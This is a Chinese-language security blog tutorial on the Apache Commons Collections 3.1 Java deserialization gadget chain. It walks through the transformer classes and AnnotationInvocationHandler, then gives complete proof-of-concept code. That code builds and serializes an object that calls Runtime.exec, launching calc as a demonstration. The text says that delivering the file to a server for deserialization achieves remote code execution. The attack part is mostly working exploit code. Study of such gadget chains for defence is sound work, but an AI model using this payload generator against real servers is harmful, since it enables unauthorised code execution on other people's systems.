[java安全]CommonsCollections3.1

文章目录

【java安全】CommonsCollections3.1

java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。

很多项目会使用到该库,可以通过相关的调用链,触发Commons Colletions 反序列化RCE漏洞

接下来我们介绍一些重要的类

InvokerTransformer

这个InvokerTransformer类可以使用transform()方法使用反射机制调用任意函数

我们首先看一看构造方法:

java 复制代码
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

为参数赋初值

transform()方法

java 复制代码
public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            }
            ...
        }
    }

该方法会使用反射机制,将传入的对象input使用getClass()方法获取Class对象,然后使用getMethod()获取方法的Method对象,最后传参invoke()调用函数

那么我们就可以通过InvokerTransformer这么执行命令

java 复制代码
import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerDemo {
    public static void main(String[] args) throws Exception {
        //Class runtimeClass=Class.forName("java.lang.Runtime");
        //Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);
        //runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");

        Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象

        //借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法
        Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {
                String.class,Class[].class},new Object[] {
                "getRuntime",null
        }
        ).transform(runtimeClass);

        //借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象
        Object runtime=new InvokerTransformer("invoke",new Class[] {
                Object.class,Object[].class},new Object[] {
                null,null
        }
        ).transform(m_getMethod);

        //借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象
        Object exec=new InvokerTransformer("exec",new Class[] {
                String.class},new Object[] {
                "calc.exe"
        }
        ).transform(runtime);
    }
}

Runtime类的getRuntime()函数是静态方法,所以使用反射不需要传入对象,传个null即可

java 复制代码
public static Runtime getRuntime() {
        return currentRuntime;
    }

ConstantTransformer

这个类的transform()方法很简单:

java 复制代码
public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
public Object transform(Object input) {
        return this.iConstant;
    }

传入什么对象,就返回什么对象

ChainedTransformer

构造函数:

java 复制代码
public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

将传入的transformer数组赋值给 iTransformers 变量

再看transform()方法:(重点)

java 复制代码
public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

ChainedTransformer类的transform()方法会调用iTransformers数组中的每个Transform对象的transform()方法,并且会将前一个的返回值通过object变量传给后面一个

于是我们可以构造出新的链

java 复制代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class ReflectionChain {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };

        ChainedTransformer chain= new ChainedTransformer(transformers);
        chain.transform(null);
    }
}

至此,我们漏洞利用条件是构造出含命令的ChainedTransformer对象,然后触发transform()方法

如何才能触发呢?

我们需要看看TransformedMap类的源码:

TransformedMap

TransformedMap类中,存在一个checkSetValue()方法,可以调用transform()方法:

java 复制代码
protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

我们可以通过创建TransformMap对象来调用该方法,但是如何创建对象呢?

我们可以使用decorate()静态方法:

java 复制代码
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

于是,我们可以将构造的链子传入TransformedMap对象中:

java 复制代码
Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

如何触发checkSetValue()方法?

Map是java的接口,

Map.entrySet()的返回值是一个Set集合,此集合的类型是Map.Entry

我们发现TransformedMap类的父类是AbstractInputCheckedMapDecorator

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

但是AbstractInputCheckedMapDecorator类中存在setValue()方法,可以调用checkSetValue()

java 复制代码
static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }
    }

根据继承和多态,我们知道TransformedMap类中也有setValue()方法

我们可以对outmap对象如下操作就可触发命令执行:

java 复制代码
Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");

但是目前漏洞的触发还需要调用setValue()方法,我们需要实现带有readObject()方法的类调用setValue()方法,这样就可以实现反序列化RCE了

这里需要用到AnnotationInvocationHandler类:

AnnotationInvocationHandler

AnnotationInvocationHandler类的readObject()方法对memberValues.entrySet()的每一项调用了setValue()方法

构造函数:

这里先直接给出两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是

Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X

  1. TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素

poc

java 复制代码
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.annotation.RetentionPolicy;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonCollections11 {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
        };               //这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        innermap.put("value", "xxx");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        Object instance = ctor.newInstance(Retention.class, outmap);
        return instance;
    }

    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE

利用链

以上利用方法在jdk1.7有效,不过ysoserial中也有jdk1.8的利用方式

java 复制代码
ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                MapEntry.setValue()
                    TransformedMap.checkSetValue()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

CC链学习-上 - 先知社区 (aliyun.com)

Java反序列化漏洞原理解析 - 先知社区 (aliyun.com)

相关推荐
XiaoLeisj1 小时前
【JavaEE初阶 — 多线程】单例模式 & 指令重排序问题
java·开发语言·java-ee
paopaokaka_luck1 小时前
【360】基于springboot的志愿服务管理系统
java·spring boot·后端·spring·毕业设计
dayouziei1 小时前
java的类加载机制的学习
java·学习
励志成为嵌入式工程师2 小时前
c语言简单编程练习9
c语言·开发语言·算法·vim
捕鲸叉3 小时前
创建线程时传递参数给线程
开发语言·c++·算法
A charmer3 小时前
【C++】vector 类深度解析:探索动态数组的奥秘
开发语言·c++·算法
Peter_chq3 小时前
【操作系统】基于环形队列的生产消费模型
linux·c语言·开发语言·c++·后端
Yaml43 小时前
Spring Boot 与 Vue 共筑二手书籍交易卓越平台
java·spring boot·后端·mysql·spring·vue·二手书籍
小小小妮子~3 小时前
Spring Boot详解:从入门到精通
java·spring boot·后端
hong1616883 小时前
Spring Boot中实现多数据源连接和切换的方案
java·spring boot·后端